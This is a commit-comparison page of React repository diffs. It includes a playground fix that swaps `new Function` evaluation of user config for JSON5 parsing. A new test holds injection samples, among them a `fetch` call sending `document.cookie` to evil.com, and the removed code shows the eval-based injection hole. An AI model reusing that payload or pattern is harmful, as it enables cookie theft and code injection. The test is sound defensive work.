Compare commits
83 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
561ed529b3 | ||
|
|
142cfde89e | ||
|
|
94643c3b85 | ||
|
|
306a01b4e0 | ||
|
|
3ee1fe4a8e | ||
|
|
1ddff43c41 | ||
|
|
d1727fbf98 | ||
|
|
bc249804d3 | ||
|
|
da9325b519 | ||
|
|
67e47593b6 | ||
|
|
23fcd7cea1 | ||
|
|
bf45a68dd3 | ||
|
|
77319e2af0 | ||
|
|
4b073f4887 | ||
|
|
f6fe4275c7 | ||
|
|
fe5160140d | ||
|
|
ea6792026f | ||
|
|
56922cf751 | ||
|
|
00f063c31d | ||
|
|
0418c8a8b6 | ||
|
|
568244232e | ||
|
|
fef12a01c8 | ||
|
|
705268dcd1 | ||
|
|
733d3aaf99 | ||
|
|
404b38c764 | ||
|
|
808e7ed8e2 | ||
|
|
0c44b96e97 | ||
|
|
1b45e24392 | ||
|
|
80b1cab397 | ||
|
|
044d56f390 | ||
|
|
2c2fd9d12c | ||
|
|
74568e8627 | ||
|
|
9627b5a1ca | ||
|
|
f944b4c535 | ||
|
|
677818e4a2 | ||
|
|
2233b7d728 | ||
|
|
ba833da405 | ||
|
|
3cb2c42013 | ||
|
|
c0c29e8906 | ||
|
|
c0d218f0f3 | ||
|
|
ed69815ceb | ||
|
|
8b2e903a74 | ||
|
|
6a04c369f1 | ||
|
|
d594643e5e | ||
|
|
b4546cd0d4 | ||
|
|
3f0b9e61c4 | ||
|
|
12ba7d8129 | ||
|
|
c80a075095 | ||
|
|
8f41506054 | ||
|
|
5e9eedb578 | ||
|
|
1e3152365d | ||
|
|
a74302c02d | ||
|
|
bae6dd09fb | ||
|
|
96005e445c | ||
|
|
b5f0178794 | ||
|
|
7b5b561bd2 | ||
|
|
014138df87 | ||
|
|
4610359651 | ||
|
|
93882bd40e | ||
|
|
3bc2d41428 | ||
|
|
5e4279134d | ||
|
|
ee4699f5a1 | ||
|
|
23b2d8514f | ||
|
|
4b568a8dbb | ||
|
|
9c0323e2cf | ||
|
|
e6f1c33acf | ||
|
|
4cc5b7a90b | ||
|
|
aac12ce597 | ||
|
|
93a3935d02 | ||
|
|
e0cc7202e1 | ||
|
|
843d69f077 | ||
|
|
b4a8d29845 | ||
|
|
6b113b7bd1 | ||
|
|
98ce535fdb | ||
|
|
a48e9e3f10 | ||
|
|
074d96b9dd | ||
|
|
e33071c614 | ||
|
|
c0060cf2a6 | ||
|
|
bd76b456c1 | ||
|
|
b354bbd2d2 | ||
|
|
c92c579715 | ||
|
|
011cede068 | ||
|
|
2e0927dc70 |
@@ -463,6 +463,7 @@ module.exports = {
|
||||
globals: {
|
||||
nativeFabricUIManager: 'readonly',
|
||||
RN$enableMicrotasksInReact: 'readonly',
|
||||
RN$isNativeEventTargetEventDispatchingEnabled: 'readonly',
|
||||
},
|
||||
},
|
||||
{
|
||||
@@ -566,6 +567,7 @@ module.exports = {
|
||||
CallSite: 'readonly',
|
||||
ConsoleTask: 'readonly', // TOOD: Figure out what the official name of this will be.
|
||||
ReturnType: 'readonly',
|
||||
AggregateError: 'readonly',
|
||||
AnimationFrameID: 'readonly',
|
||||
WeakRef: 'readonly',
|
||||
// For Flow type annotation. Only `BigInt` is valid at runtime.
|
||||
@@ -626,6 +628,7 @@ module.exports = {
|
||||
FinalizationRegistry: 'readonly',
|
||||
Exclude: 'readonly',
|
||||
Omit: 'readonly',
|
||||
Pick: 'readonly',
|
||||
Keyframe: 'readonly',
|
||||
PropertyIndexedKeyframes: 'readonly',
|
||||
KeyframeAnimationOptions: 'readonly',
|
||||
|
||||
10
.github/workflows/runtime_commit_artifacts.yml
vendored
10
.github/workflows/runtime_commit_artifacts.yml
vendored
@@ -116,11 +116,13 @@ jobs:
|
||||
run: |
|
||||
sed -i -e 's/ @license React*//' \
|
||||
build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
|
||||
build/facebook-www/ESLintPluginReactHooks-dev.modern.js \
|
||||
build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js
|
||||
- name: Insert @headers into eslint plugin and react-refresh
|
||||
run: |
|
||||
sed -i -e 's/ LICENSE file in the root directory of this source tree./ LICENSE file in the root directory of this source tree.\n *\n * @noformat\n * @nolint\n * @lightSyntaxTransform\n * @preventMunge\n * @oncall react_core/' \
|
||||
build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
|
||||
build/facebook-www/ESLintPluginReactHooks-dev.modern.js \
|
||||
build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js
|
||||
- name: Move relevant files for React in www into compiled
|
||||
run: |
|
||||
@@ -132,9 +134,9 @@ jobs:
|
||||
mkdir ./compiled/facebook-www/__test_utils__
|
||||
mv build/__test_utils__/ReactAllWarnings.js ./compiled/facebook-www/__test_utils__/ReactAllWarnings.js
|
||||
|
||||
# Copy eslint-plugin-react-hooks
|
||||
# Copy eslint-plugin-react-hooks (www build with feature flags)
|
||||
mkdir ./compiled/eslint-plugin-react-hooks
|
||||
cp build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
|
||||
cp ./compiled/facebook-www/ESLintPluginReactHooks-dev.modern.js \
|
||||
./compiled/eslint-plugin-react-hooks/index.js
|
||||
|
||||
# Move unstable_server-external-runtime.js into facebook-www
|
||||
@@ -165,10 +167,6 @@ jobs:
|
||||
# Delete the OSS renderers, these are sync'd to RN separately.
|
||||
RENDERER_FOLDER=$BASE_FOLDER/react-native-github/Libraries/Renderer/implementations/
|
||||
rm $RENDERER_FOLDER/ReactFabric-{dev,prod,profiling}.js
|
||||
|
||||
# Delete the legacy renderer shim, this is not sync'd and will get deleted in the future.
|
||||
SHIM_FOLDER=$BASE_FOLDER/react-native-github/Libraries/Renderer/shims/
|
||||
rm $SHIM_FOLDER/ReactNative.js
|
||||
|
||||
# Copy eslint-plugin-react-hooks
|
||||
# NOTE: This is different from www, here we include the full package
|
||||
|
||||
2
.gitignore
vendored
2
.gitignore
vendored
@@ -21,6 +21,7 @@ chrome-user-data
|
||||
.idea
|
||||
*.iml
|
||||
.vscode
|
||||
.zed
|
||||
*.swp
|
||||
*.swo
|
||||
/tmp
|
||||
@@ -40,4 +41,3 @@ packages/react-devtools-fusebox/dist
|
||||
packages/react-devtools-inline/dist
|
||||
packages/react-devtools-shell/dist
|
||||
packages/react-devtools-timeline/dist
|
||||
|
||||
|
||||
@@ -33,7 +33,7 @@ const canaryChannelLabel = 'canary';
|
||||
const rcNumber = 0;
|
||||
|
||||
const stablePackages = {
|
||||
'eslint-plugin-react-hooks': '7.1.0',
|
||||
'eslint-plugin-react-hooks': '7.1.1',
|
||||
'jest-react': '0.18.0',
|
||||
react: ReactVersion,
|
||||
'react-art': ReactVersion,
|
||||
|
||||
@@ -35,6 +35,20 @@ yarn snap -p <file-basename> -d
|
||||
yarn snap -u
|
||||
```
|
||||
|
||||
## Linting
|
||||
|
||||
```bash
|
||||
# Run lint on the compiler source
|
||||
yarn workspace babel-plugin-react-compiler lint
|
||||
```
|
||||
|
||||
## Formatting
|
||||
|
||||
```bash
|
||||
# Run prettier on all files (from the react root directory, not compiler/)
|
||||
yarn prettier-all
|
||||
```
|
||||
|
||||
## Compiling Arbitrary Files
|
||||
|
||||
Use `yarn snap compile` to compile any file (not just fixtures) with the React Compiler:
|
||||
@@ -62,7 +76,7 @@ yarn snap minimize --update <path>
|
||||
|
||||
## Version Control
|
||||
|
||||
This repository uses Sapling (`sl`) for version control. Sapling is similar to Mercurial: there is not staging area, but new/deleted files must be explicitlyu added/removed.
|
||||
This repository uses Sapling (`sl`) for version control. Sapling is similar to Mercurial: there is not staging area, but new/deleted files must be explicitly added/removed.
|
||||
|
||||
```bash
|
||||
# Check status
|
||||
@@ -229,20 +243,19 @@ Would enable the `enableJsxOutlining` feature and disable the `enableNameAnonymo
|
||||
3. Look for `Impure`, `Render`, `Capture` effects on instructions
|
||||
4. Check the pass ordering in Pipeline.ts to understand when effects are populated vs validated
|
||||
|
||||
## Error Handling for Unsupported Features
|
||||
## Error Handling and Fault Tolerance
|
||||
|
||||
When the compiler encounters an unsupported but known pattern, use `CompilerError.throwTodo()` instead of `CompilerError.invariant()`. Todo errors cause graceful bailouts in production; Invariant errors are hard failures indicating unexpected/invalid states.
|
||||
The compiler is fault-tolerant: it runs all passes and accumulates errors on the `Environment` rather than throwing on the first error. This lets users see all compilation errors at once.
|
||||
|
||||
```typescript
|
||||
// Unsupported but expected pattern - graceful bailout
|
||||
CompilerError.throwTodo({
|
||||
reason: `Support [description of unsupported feature]`,
|
||||
loc: terminal.loc,
|
||||
});
|
||||
**Recording errors** — Passes record errors via `env.recordError(diagnostic)`. Errors are accumulated on `Environment.#errors` and checked at the end of the pipeline via `env.hasErrors()` / `env.aggregateErrors()`.
|
||||
|
||||
// Invariant is for truly unexpected/invalid states - hard failure
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Unexpected [thing]`,
|
||||
loc: terminal.loc,
|
||||
});
|
||||
```
|
||||
**`tryRecord()` wrapper** — In Pipeline.ts, validation passes are wrapped in `env.tryRecord(() => pass(hir))` which catches thrown `CompilerError`s (non-invariant) and records them. Infrastructure/transformation passes are NOT wrapped in `tryRecord()` because later passes depend on their output being structurally valid.
|
||||
|
||||
**Error categories:**
|
||||
- `CompilerError.throwTodo()` — Unsupported but known pattern. Graceful bailout. Can be caught by `tryRecord()`.
|
||||
- `CompilerError.invariant()` — Truly unexpected/invalid state. Always throws immediately, never caught by `tryRecord()`.
|
||||
- Non-`CompilerError` exceptions — Always re-thrown.
|
||||
|
||||
**Key files:** `Environment.ts` (`recordError`, `tryRecord`, `hasErrors`, `aggregateErrors`), `Pipeline.ts` (pass orchestration), `Program.ts` (`tryCompileFunction` handles the `Result`).
|
||||
|
||||
**Test fixtures:** `__tests__/fixtures/compiler/fault-tolerance/` contains multi-error fixtures verifying all errors are reported.
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
import type { PluginOptions } from
|
||||
'babel-plugin-react-compiler/dist';
|
||||
({
|
||||
{
|
||||
//compilationMode: "all"
|
||||
} satisfies PluginOptions);
|
||||
}
|
||||
@@ -237,7 +237,7 @@ test('show internals button toggles correctly', async ({page}) => {
|
||||
test('error is displayed when config has syntax error', async ({page}) => {
|
||||
const store: Store = {
|
||||
source: TEST_SOURCE,
|
||||
config: `compilationMode: `,
|
||||
config: `{ compilationMode: }`,
|
||||
showInternals: false,
|
||||
};
|
||||
const hash = encodeStore(store);
|
||||
@@ -254,17 +254,17 @@ test('error is displayed when config has syntax error', async ({page}) => {
|
||||
const output = text.join('');
|
||||
|
||||
// Remove hidden chars
|
||||
expect(output.replace(/\s+/g, ' ')).toContain('Invalid override format');
|
||||
expect(output.replace(/\s+/g, ' ')).toContain(
|
||||
'Unexpected failure when transforming configs',
|
||||
);
|
||||
});
|
||||
|
||||
test('error is displayed when config has validation error', async ({page}) => {
|
||||
const store: Store = {
|
||||
source: TEST_SOURCE,
|
||||
config: `import type { PluginOptions } from 'babel-plugin-react-compiler/dist';
|
||||
|
||||
({
|
||||
config: `{
|
||||
compilationMode: "123"
|
||||
} satisfies PluginOptions);`,
|
||||
}`,
|
||||
showInternals: false,
|
||||
};
|
||||
const hash = encodeStore(store);
|
||||
|
||||
157
compiler/apps/playground/__tests__/parseConfigOverrides.test.mjs
Normal file
157
compiler/apps/playground/__tests__/parseConfigOverrides.test.mjs
Normal file
@@ -0,0 +1,157 @@
|
||||
/**
|
||||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*/
|
||||
|
||||
import assert from 'node:assert';
|
||||
import {test, describe} from 'node:test';
|
||||
import JSON5 from 'json5';
|
||||
|
||||
// Re-implement parseConfigOverrides here since the source uses TS imports
|
||||
// that can't be directly loaded by Node. This mirrors the logic in
|
||||
// compilation.ts exactly.
|
||||
function parseConfigOverrides(configOverrides) {
|
||||
const trimmed = configOverrides.trim();
|
||||
if (!trimmed) {
|
||||
return {};
|
||||
}
|
||||
return JSON5.parse(trimmed);
|
||||
}
|
||||
|
||||
describe('parseConfigOverrides', () => {
|
||||
test('empty string returns empty object', () => {
|
||||
assert.deepStrictEqual(parseConfigOverrides(''), {});
|
||||
assert.deepStrictEqual(parseConfigOverrides(' '), {});
|
||||
});
|
||||
|
||||
test('default config parses correctly', () => {
|
||||
const config = `{
|
||||
//compilationMode: "all"
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {});
|
||||
});
|
||||
|
||||
test('compilationMode "all" parses correctly', () => {
|
||||
const config = `{
|
||||
compilationMode: "all"
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {compilationMode: 'all'});
|
||||
});
|
||||
|
||||
test('config with single-line and block comments parses correctly', () => {
|
||||
const config = `{
|
||||
// This is a single-line comment
|
||||
/* This is a block comment */
|
||||
compilationMode: "all",
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {compilationMode: 'all'});
|
||||
});
|
||||
|
||||
test('config with trailing commas parses correctly', () => {
|
||||
const config = `{
|
||||
compilationMode: "all",
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {compilationMode: 'all'});
|
||||
});
|
||||
|
||||
test('nested environment options parse correctly', () => {
|
||||
const config = `{
|
||||
environment: {
|
||||
validateRefAccessDuringRender: true,
|
||||
},
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {
|
||||
environment: {validateRefAccessDuringRender: true},
|
||||
});
|
||||
});
|
||||
|
||||
test('multiple options parse correctly', () => {
|
||||
const config = `{
|
||||
compilationMode: "all",
|
||||
environment: {
|
||||
validateRefAccessDuringRender: false,
|
||||
},
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {
|
||||
compilationMode: 'all',
|
||||
environment: {validateRefAccessDuringRender: false},
|
||||
});
|
||||
});
|
||||
|
||||
test('rejects malicious IIFE injection', () => {
|
||||
const config = `(function(){ document.title = "hacked"; return {}; })()`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('rejects malicious comma operator injection', () => {
|
||||
const config = `{
|
||||
compilationMode: (alert("xss"), "all")
|
||||
}`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('rejects function call in value', () => {
|
||||
const config = `{
|
||||
compilationMode: eval("all")
|
||||
}`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('rejects variable references', () => {
|
||||
const config = `{
|
||||
compilationMode: someVar
|
||||
}`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('rejects template literals', () => {
|
||||
const config = `{
|
||||
compilationMode: \`all\`
|
||||
}`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('rejects constructor calls', () => {
|
||||
const config = `{
|
||||
compilationMode: new String("all")
|
||||
}`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('rejects arbitrary JS code', () => {
|
||||
const config = `fetch("https://evil.com?c=" + document.cookie)`;
|
||||
assert.throws(() => parseConfigOverrides(config));
|
||||
});
|
||||
|
||||
test('config with array values parses correctly', () => {
|
||||
const config = `{
|
||||
sources: ["src/a.ts", "src/b.ts"],
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {sources: ['src/a.ts', 'src/b.ts']});
|
||||
});
|
||||
|
||||
test('config with null values parses correctly', () => {
|
||||
const config = `{
|
||||
compilationMode: null,
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {compilationMode: null});
|
||||
});
|
||||
|
||||
test('config with numeric values parses correctly', () => {
|
||||
const config = `{
|
||||
maxLevel: 42,
|
||||
}`;
|
||||
const result = parseConfigOverrides(config);
|
||||
assert.deepStrictEqual(result, {maxLevel: 42});
|
||||
});
|
||||
});
|
||||
@@ -21,9 +21,6 @@ import {monacoConfigOptions} from './monacoOptions';
|
||||
import {IconChevron} from '../Icons/IconChevron';
|
||||
import {CONFIG_PANEL_TRANSITION} from '../../lib/transitionTypes';
|
||||
|
||||
// @ts-expect-error - webpack asset/source loader handles .d.ts files as strings
|
||||
import compilerTypeDefs from 'babel-plugin-react-compiler/dist/index.d.ts';
|
||||
|
||||
loader.config({monaco});
|
||||
|
||||
export default function ConfigEditor({
|
||||
@@ -105,22 +102,10 @@ function ExpandedEditor({
|
||||
_: editor.IStandaloneCodeEditor,
|
||||
monaco: Monaco,
|
||||
) => void = (_, monaco) => {
|
||||
// Add the babel-plugin-react-compiler type definitions to Monaco
|
||||
monaco.languages.typescript.typescriptDefaults.addExtraLib(
|
||||
//@ts-expect-error - compilerTypeDefs is a string
|
||||
compilerTypeDefs,
|
||||
'file:///node_modules/babel-plugin-react-compiler/dist/index.d.ts',
|
||||
);
|
||||
monaco.languages.typescript.typescriptDefaults.setCompilerOptions({
|
||||
target: monaco.languages.typescript.ScriptTarget.Latest,
|
||||
allowNonTsExtensions: true,
|
||||
moduleResolution: monaco.languages.typescript.ModuleResolutionKind.NodeJs,
|
||||
module: monaco.languages.typescript.ModuleKind.ESNext,
|
||||
noEmit: true,
|
||||
strict: false,
|
||||
esModuleInterop: true,
|
||||
allowSyntheticDefaultImports: true,
|
||||
jsx: monaco.languages.typescript.JsxEmit.React,
|
||||
// Enable comments in JSON for JSON5-style config
|
||||
monaco.languages.json.jsonDefaults.setDiagnosticsOptions({
|
||||
allowComments: true,
|
||||
trailingCommas: 'ignore',
|
||||
});
|
||||
};
|
||||
|
||||
@@ -157,8 +142,8 @@ function ExpandedEditor({
|
||||
</div>
|
||||
<div className="flex-1 border border-gray-300">
|
||||
<MonacoEditor
|
||||
path={'config.ts'}
|
||||
language={'typescript'}
|
||||
path={'config.json5'}
|
||||
language={'json'}
|
||||
value={store.config}
|
||||
onMount={handleMount}
|
||||
onChange={handleChange}
|
||||
|
||||
@@ -25,6 +25,7 @@ import BabelPluginReactCompiler, {
|
||||
type LoggerEvent,
|
||||
} from 'babel-plugin-react-compiler';
|
||||
import {transformFromAstSync} from '@babel/core';
|
||||
import JSON5 from 'json5';
|
||||
import type {
|
||||
CompilerOutput,
|
||||
CompilerTransformOutput,
|
||||
@@ -126,6 +127,14 @@ const COMMON_HOOKS: Array<[string, Hook]> = [
|
||||
],
|
||||
];
|
||||
|
||||
export function parseConfigOverrides(configOverrides: string): any {
|
||||
const trimmed = configOverrides.trim();
|
||||
if (!trimmed) {
|
||||
return {};
|
||||
}
|
||||
return JSON5.parse(trimmed);
|
||||
}
|
||||
|
||||
function parseOptions(
|
||||
source: string,
|
||||
mode: 'compiler' | 'linter',
|
||||
@@ -156,16 +165,7 @@ function parseOptions(
|
||||
});
|
||||
|
||||
// Parse config overrides from config editor
|
||||
let configOverrideOptions: any = {};
|
||||
const configMatch = configOverrides.match(/^\s*import.*?\n\n\((.*)\)/s);
|
||||
if (configOverrides.trim()) {
|
||||
if (configMatch && configMatch[1]) {
|
||||
const configString = configMatch[1].replace(/satisfies.*$/, '').trim();
|
||||
configOverrideOptions = new Function(`return (${configString})`)();
|
||||
} else {
|
||||
throw new Error('Invalid override format');
|
||||
}
|
||||
}
|
||||
const configOverrideOptions = parseConfigOverrides(configOverrides);
|
||||
|
||||
const opts: PluginOptions = parsePluginOptions({
|
||||
...parsedPragmaOptions,
|
||||
|
||||
@@ -14,11 +14,9 @@ export default function MyApp() {
|
||||
`;
|
||||
|
||||
export const defaultConfig = `\
|
||||
import type { PluginOptions } from 'babel-plugin-react-compiler/dist';
|
||||
|
||||
({
|
||||
{
|
||||
//compilationMode: "all"
|
||||
} satisfies PluginOptions);`;
|
||||
}`;
|
||||
|
||||
export const defaultStore: Store = {
|
||||
source: index,
|
||||
|
||||
@@ -32,6 +32,7 @@
|
||||
"hermes-eslint": "^0.25.0",
|
||||
"hermes-parser": "^0.25.0",
|
||||
"invariant": "^2.2.4",
|
||||
"json5": "^2.2.3",
|
||||
"lru-cache": "^11.2.2",
|
||||
"lz-string": "^1.5.0",
|
||||
"monaco-editor": "^0.52.0",
|
||||
|
||||
@@ -8,7 +8,7 @@ The idea of React Compiler is to allow developers to use React's familiar declar
|
||||
|
||||
* Bound the amount of re-rendering that happens on updates to ensure that apps have predictably fast performance by default.
|
||||
* Keep startup time neutral with pre-React Compiler performance. Notably, this means holding code size increases and memoization overhead low enough to not impact startup.
|
||||
* Retain React's familiar declarative, component-oriented programming model. Ie, the solution should not fundamentally change how developers think about writing React, and should generally _remove_ concepts (the need to use React.memo(), useMemo(), and useCallback()) rather than introduce new concepts.
|
||||
* Retain React's familiar declarative, component-oriented programming model. i.e, the solution should not fundamentally change how developers think about writing React, and should generally _remove_ concepts (the need to use React.memo(), useMemo(), and useCallback()) rather than introduce new concepts.
|
||||
* "Just work" on idiomatic React code that follows React's rules (pure render functions, the rules of hooks, etc).
|
||||
* Support typical debugging and profiling tools and workflows.
|
||||
* Be predictable and understandable enough by React developers — i.e. developers should be able to quickly develop a rough intuition of how React Compiler works.
|
||||
@@ -19,7 +19,7 @@ The idea of React Compiler is to allow developers to use React's familiar declar
|
||||
The following are explicitly *not* goals for React Compiler:
|
||||
|
||||
* Provide perfectly optimal re-rendering with zero unnecessary recomputation. This is a non-goal for several reasons:
|
||||
* The runtime overhead of the extra tracking involved can outweight the cost of recomputation in many cases.
|
||||
* The runtime overhead of the extra tracking involved can outweigh the cost of recomputation in many cases.
|
||||
* In cases with conditional dependencies it may not be possible to avoid recomputing some/all instructions.
|
||||
* The amount of code may regress startup times, which would conflict with our goal of neutral startup performance.
|
||||
* Support code that violates React's rules. React's rules exist to help developers build robust, scalable applications and form a contract that allows us to continue improving React without breaking applications. React Compiler depends on these rules to safely transform code, and violations of rules will therefore break React Compiler's optimizations.
|
||||
@@ -42,9 +42,9 @@ React Compiler has two primary public interfaces: a Babel plugin for transformin
|
||||
The core of the compiler is largely decoupled from Babel, using its own intermediate representations. The high-level flow is as follows:
|
||||
|
||||
- **Babel Plugin**: Determines which functions in a file should be compiled, based on the plugin options and any local opt-in/opt-out directives. For each component or hook to be compiled, the plugin calls the compiler, passing in the original function and getting back a new AST node which will replace the original.
|
||||
- **Lowering** (BuildHIR): The first step of the compiler is to convert the Babel AST into React Compiler's primary intermediate representation, HIR (High-level Intermediate Representation). This phase is primarily based on the AST itself, but currently leans on Babel to resolve identifiers. The HIR preserves the precise order-of-evaluation semantics of JavaScript, resolves break/continue to their jump points, etc. The resulting HIR forms a control-flow graph of basic blocks, each of which contains zero or more consecutive instructions followed by a terminal. The basic blocks are stored in reverse postorder, such that forward iteration of the blocks allows predecessors to be visited before successors _unless_ there is a "back edge" (ie a loop).
|
||||
- **Lowering** (BuildHIR): The first step of the compiler is to convert the Babel AST into React Compiler's primary intermediate representation, HIR (High-level Intermediate Representation). This phase is primarily based on the AST itself, but currently leans on Babel to resolve identifiers. The HIR preserves the precise order-of-evaluation semantics of JavaScript, resolves break/continue to their jump points, etc. The resulting HIR forms a control-flow graph of basic blocks, each of which contains zero or more consecutive instructions followed by a terminal. The basic blocks are stored in reverse postorder, such that forward iteration of the blocks allows predecessors to be visited before successors _unless_ there is a "back edge" (i.e. a loop).
|
||||
- **SSA Conversion** (EnterSSA): The HIR is converted to HIR form, such that all Identifiers in the HIR are updated to an SSA-based identifier.
|
||||
- Validation: We run various validation passes to check that the input is valid React, ie that it does not break the rules. This includes looking for conditional hook calls, unconditional setState calls, etc.
|
||||
- Validation: We run various validation passes to check that the input is valid React, i.e. that it does not break the rules. This includes looking for conditional hook calls, unconditional setState calls, etc.
|
||||
- **Optimization**: Various passes such as dead code elimination and constant propagation can generally improve performance and reduce the amount of instructions to be optimized later.
|
||||
- **Type Inference** (InferTypes): We run a conservative type inference pass to identify certain key types of data that may appear in the program that are relevant for further analysis, such as which values are hooks, primitives, etc.
|
||||
- **Inferring Reactive Scopes**: Several passes are involved in determining groups of values that are created/mutated together and the set of instructions involved in creating/mutating those values. We call these groups "reactive scopes", and each can have one or more declarations (or occasionally a reassignment).
|
||||
|
||||
@@ -1,333 +0,0 @@
|
||||
## React Compiler Fault Tolerance
|
||||
|
||||
Update React Compiler (@compiler/ directory) to always run all passes and return either the transformed code (if no error) or a list of one or more compilation errors.
|
||||
|
||||
## Background
|
||||
|
||||
Currently React Compiler runs through a series of passes in Pipeline.ts. If an error occurs in a pass the compiler will generally either throw the error in the pass where it occurs, or return a Result<_, CompilerError> which is then unwrapped in Pipeline.ts, throwing there. This means that a single error that triggers early can prevent later validation from running, meaning the user has to first fix one error in order to see another.
|
||||
|
||||
## New Approach
|
||||
|
||||
The compiler should always run all passes in the pipeline, up to and including CodegenReactiveFunction. During this process it should accumulate errors. If at the end of compilation there were no accumulated errors, return `Ok(generatedfunction)`. Else, return `Err(CompilerError)` with *all* the accumulated errors.
|
||||
|
||||
Note that some errors may continue to cause an eager bailout:
|
||||
* If an error is not an instanceof CompilerError, throw it as it occurs
|
||||
* If an error is a CompilerError invariant, throw it as it occurs since this represents a truly exceptional, unexpected case
|
||||
|
||||
## Detailed Design
|
||||
|
||||
* The Environment needs a way to record errors as compilation proceeds. This should generally store the error (and log, if a logger is configured), but should immediately throw if the error is an invariant (see above).
|
||||
* BuildHIR should always produce an HIR without error. For syntax forms that are unsupported (currently throwing a Todo error), we should instead construct record the todo error on the environment, and construct a partial HIR. The exact form of the partial HIR can be situation specific:
|
||||
* `var` is currently unsupported, but we could pretend it was `let`
|
||||
* `finally` blocks are unsupported, we could just prune them, or move the code after the try/catch (put the finally logic in the consequent)
|
||||
* This may mean updating the HIR to allow representing partial code
|
||||
* `eval()` can just be an Unsupported InstructionValue variant
|
||||
* All of the passes need to be updated to stop returning Result or CompilerError, and instead record their errors on the environment. They should always be able to proceed even in the presence of errors. For example, in InferMutationAliasingEffects if we discover that the code mutates a frozen value, we can record this as an error and then just pretend the mutation didn't happen - ie construct a scope as if the mutating code was not a mutation after all.
|
||||
* Finally, the end of the pipeline should check for errors and either turn `Ok(GeneratedFunction)` or `Err(aggregatedErrors)`. The code calling into the pipeline then needs to handle this appropriately.
|
||||
|
||||
## Detailed Plan
|
||||
|
||||
### Phase 1: Environment Error Accumulation Infrastructure
|
||||
|
||||
Add error accumulation to the `Environment` class so that any pass can record errors during compilation without halting.
|
||||
|
||||
- [x] **1.1 Add error accumulator to Environment** (`src/HIR/Environment.ts`)
|
||||
- Add a `#errors: CompilerError` field, initialized in the constructor
|
||||
- Add a `recordError(error: CompilerDiagnostic | CompilerErrorDetail)` method that:
|
||||
- If an Invariant-category detail, immediately throw it
|
||||
- Otherwise, push the diagnostic/detail onto `#errors` (and log via `this.logger` if configured)
|
||||
- Add a `recordErrors(error: CompilerError)` method that calls `recordError()` for each of the details on the given error.
|
||||
- Add a `hasErrors(): boolean` getter
|
||||
- Add a `aggregateErrors(): CompilerError` method that returns the accumulated error object
|
||||
- Consider whether `recordError` should accept the same options as `CompilerError.push()` for convenience (reason, description, severity, loc, etc.)
|
||||
|
||||
- [x] **1.2 Add a `tryRecord` helper on Environment** (`src/HIR/Environment.ts`)
|
||||
- Add a `tryRecord(fn: () => void): void` method that wraps a callback in try/catch:
|
||||
- If `fn` throws a `CompilerError` that is NOT an invariant, record it via `recordError`
|
||||
- If `fn` throws a non-CompilerError or a CompilerError invariant, re-throw
|
||||
- This helper is the migration path for passes that currently throw: wrap their call in `env.tryRecord(() => pass(hir))` so exceptions become recorded errors
|
||||
|
||||
### Phase 2: Update Pipeline.ts to Accumulate Errors
|
||||
|
||||
Change `runWithEnvironment` to run all passes and check for errors at the end instead of letting exceptions propagate.
|
||||
|
||||
- [x] **2.1 Change `runWithEnvironment` return type** (`src/Entrypoint/Pipeline.ts`)
|
||||
- Change return type from `CodegenFunction` to `Result<CodegenFunction, CompilerError>`
|
||||
- At the end of the pipeline, check `env.hasErrors()`:
|
||||
- If no errors: return `Ok(ast)`
|
||||
- If errors: return `Err(env.aggregateErrors())`
|
||||
|
||||
- [x] **2.2 Update `compileFn` to propagate the Result** (`src/Entrypoint/Pipeline.ts`)
|
||||
- Change `compileFn` return type from `CodegenFunction` to `Result<CodegenFunction, CompilerError>`
|
||||
- Propagate the Result from `runWithEnvironment`
|
||||
|
||||
- [x] **2.3 Update `run` to propagate the Result** (`src/Entrypoint/Pipeline.ts`)
|
||||
- Same change for the internal `run` function
|
||||
|
||||
- [x] **2.4 Update callers in Program.ts** (`src/Entrypoint/Program.ts`)
|
||||
- In `tryCompileFunction`, change from try/catch around `compileFn` to handling the `Result`:
|
||||
- If `Ok(codegenFn)`: return the compiled function
|
||||
- If `Err(compilerError)`: return `{kind: 'error', error: compilerError}`
|
||||
- Keep the try/catch only for truly unexpected (non-CompilerError) exceptions and invariants
|
||||
- The existing `handleError`/`logError`/`panicThreshold` logic in `processFn` should continue to work unchanged since it already handles `CompilerError` instances
|
||||
|
||||
### Phase 3: Update BuildHIR (lower) to Always Produce HIR
|
||||
|
||||
Currently `lower()` returns `Result<HIRFunction, CompilerError>`. It already accumulates errors internally via `builder.errors`, but returns `Err` when errors exist. Change it to always return `Ok(hir)` while recording errors on the environment.
|
||||
|
||||
- [x] **3.1 Change `lower` to always return HIRFunction** (`src/HIR/BuildHIR.ts`)
|
||||
- Change return type from `Result<HIRFunction, CompilerError>` to `HIRFunction`
|
||||
